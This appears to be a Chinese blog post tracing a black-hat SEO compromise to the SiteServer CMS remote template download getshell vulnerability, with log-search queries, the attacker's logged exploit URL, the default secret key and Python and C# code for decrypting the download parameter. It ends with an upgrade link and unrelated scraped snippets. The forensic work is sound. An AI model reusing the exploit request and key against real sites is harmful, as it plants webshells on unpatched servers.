首页 > 系统相关 >SiteServer CMS远程模板下载getshell漏洞导致的黑SEO利用分析溯源

SiteServer CMS远程模板下载getshell漏洞导致的黑SEO利用分析溯源

时间:2024-02-29 21:55:43浏览次数:32  
标签:getshell CMS aspx www var SiteServer SEO com 模板

前言

某日中午,涉及一代理商客户网站发现异常SQ内容,要求进行溯源分析并找出根本原因。

0x01 初步分析

通过提供的链接(www.xxx.com.cn/2023j19tPLKn2/55151),确认涉及黑帽SEO活动,通过百度搜索进一步验证也证实了这一点。

0x02 日志分析

黑客常常在植入菠菜或非法广告的网站中设置后门文件。我们可通过以下webshell特征进行日志分析:

- 请求方式为POST
- 文件后缀为php、asp、aspx、jsp
- 静态资源文件夹(如/Images/、/js/)中含有php、aspx等后缀的文件

相应的SQL查询语句如下:

SELECT * FROM database.attack_tables WHERE method = 'POST' AND uri REGEXP 'php$|asp$|aspx$|jsp$'

根据以上特征,发现两个可疑URL:

https://www.xxx.com.cn/api/k.aspx
https://www.xxx.com.cn/images/api.ashx

进一步筛选访问过上述URL的攻击IP,查询成功攻击的日志:

SELECT * FROM database.attack_tables WHERE IP = '攻击IP' AND resp_code = '200'

发现以下URL:

www.xxx.com.cn/siteserver/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ0equals00equals0&directoryName=SiteFiles

模拟恶意攻击发现,浏览器返回站点模板下载成功的提示。由此推断,该站点因存在SiteServer CMS远程模板下载getshell漏洞而遭受黑帽SEO利用。

0x03 详细分析

SiteServer CMS是一款开源、跨平台、企业级的CMS内容管理系统,能够快速建立功能齐全、性能优异、易于维护的网站。漏洞出现在后台模板下载位置未对用户权限进行校验,并且ajaxOtherService中的downloadUrl参数可被控制,从而导致getshell。版本5.0及以下均受影响。漏洞利用过程中,DecryptStringBySecretKey函数用于解密downloadurl,随后调用SiteTemplateDownload函数下载模板并自解压。

5.0版本中,SecretKey的默认值为:

vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5

首先使用Python脚本还原downloadUrl的值:

str_decry = "Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ0equals00equals0"
str_decry = str_decry.replace("0add0", "+").replace("0equals0", "=").replace("0and0", "&").replace("0question0", "?").replace("0slash0", "/")

print (str_decry)

然后使用C#代码将其还原为默认下载链接(www.bejson.com/runcode/csharp):


using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ==";
        var _outString = ""; 
        var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try
        { 
          var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8)); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Convert.FromBase64String(_inputString);
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
              cs.Write(inputByteArray, 0, inputByteArray.Length);
              cs.FlushFinalBlock();
          Encoding encoding = new UTF8Encoding();
          _outString = encoding.GetString(ms.ToArray());
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }
 

最终还原结果如下:

0x03 修复建议

建议升级到最新版本:https://sscms.com/docs/v7/updates/#更新版本-v7-2-2

标签:getshell,CMS,aspx,www,var,SiteServer,SEO,com,模板
From: https://www.cnblogs.com/guangling/p/18045607

相关文章

  • Error creating bean with name 'XXX': Bean with name 'senseOneToSomeFeignImpl' ha
    关于Spring框架中的循环依赖问题,您可以尝试以下几种方法来解决:重新定义Bean依赖:重构代码以消除循环依赖。这可能涉及重新设计类,使它们不相互依赖即可运行。使用Setter注入:与构造函数注入相比,使用setter注入。Spring可以更好地处理setter注入的循环依赖,因为对象引用是在对象构造......
  • SEO行业没落了吗?
    我作为一个从业十年的资深SEO人士,https://www.fuligou8.com/noking/22016.html对于SEO是否已经没落这个问题有着自己独特的看法。虽然有些人认为SEO已经不再是一个重要的行业,但我的观点是SEO依然是一个非常重要的行业,而且它的未来会更加光明。首先,我想说的是,有SEO是不是没落行业......
  • **SiteServer CMS远程模板下载getshell漏洞导致的黑SEO利用分析**
    前言某日中午,收到上级下发的任务,涉及一代理商客户网站发现异常SQ内容,要求进行溯源分析并找出根本原因。0x01初步分析通过提供的链接(www.xxx.com.cn/2023j19tPLKn2/55151),确认涉及黑帽SEO活动,通过百度搜索进一步验证也证实了这一点。0x02日志分析黑客常常在植入菠菜或非......
  • 【pwn】pwnable_start --只有read和write函数的getshell
    首先查一下程序的保护情况保护全关!!!然后看ida逻辑ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况现在我们来分析一下汇编代码 mov  ecx,esp            ;addr.text:08048089B214            mov  dl......
  • phpMyAdmin 未授权Getshell
    前言做渗透测试的时候偶然发现,phpmyadmin少见的打法,以下就用靶场进行演示了。0x01漏洞发现环境搭建使用metasploitable2,可在网上搜索下载,搭建很简单这里不多说了。发现phpmyadmin,如果这个时候无法登陆,且也没有前台的漏洞,可以继续在这个phpmyadmin目录下做文章。发现setup......
  • seo TDK自动生成
    <script>(()=>{setTimeout(()=>{document.querySelectorAll("meta[name]").forEach(e=>{if(e.name=='description'&&e.content.trim()=="&qu......
  • 网站SEO优化有什么注意事项?
    网站上线后,需要从多方面进行SEO优化,提高网站的权重排名和流量,使网站更加成熟,增加访客与转化。那么,在SEO优化中需要考虑什么呢?景安虚拟主机小编与大家分享下SEO优化需要考虑的内容,一起看看吧!首先百度推出了微风算法来点击标题关键词是否有堆砌,然后在推出熊掌之后,对原来的保......
  • SEO业务如何选择代理IP?
    对于互联网工作者而言,SEO这个词相信各位用户肯定不会陌生,简而言之,搜索引擎优化(SEO)是优化网站内容的过程,以便用户通过搜索引擎轻松找到它。搜索引擎优化是为用户的网站获得自然流量的重要组成部分,实际上为了开展SEO业务,往往需要用户通过代理IP来进行使用,那么SEO业务该如何选择代......
  • 内容分发策略与 SEO 优化指南
    内容分发内容分发是指通过各种媒介分享、发布或传播内容给受众的过程。这些媒介可以包括不同的渠道,例如社交媒体平台(Facebook、Twitter、LinkedIn、朋友圈、微博、小红书、B站、抖音、公众号等)、电子邮件新闻稿、博客、播客、网站,甚至杂志和报纸等线下场所。内容分发的性质可以涵......
  • wustctf2020_getshell
    wustctf2020_getshellret2shell在vulnerable函数中存在溢出漏洞shell函数中已经预留了后门溢出->跳转到后门函数frompwnimport*context.log_level='debug'elf=ELF('wustctf2020_getshell')io=process('wustctf2020_getshell')payload=b'A�......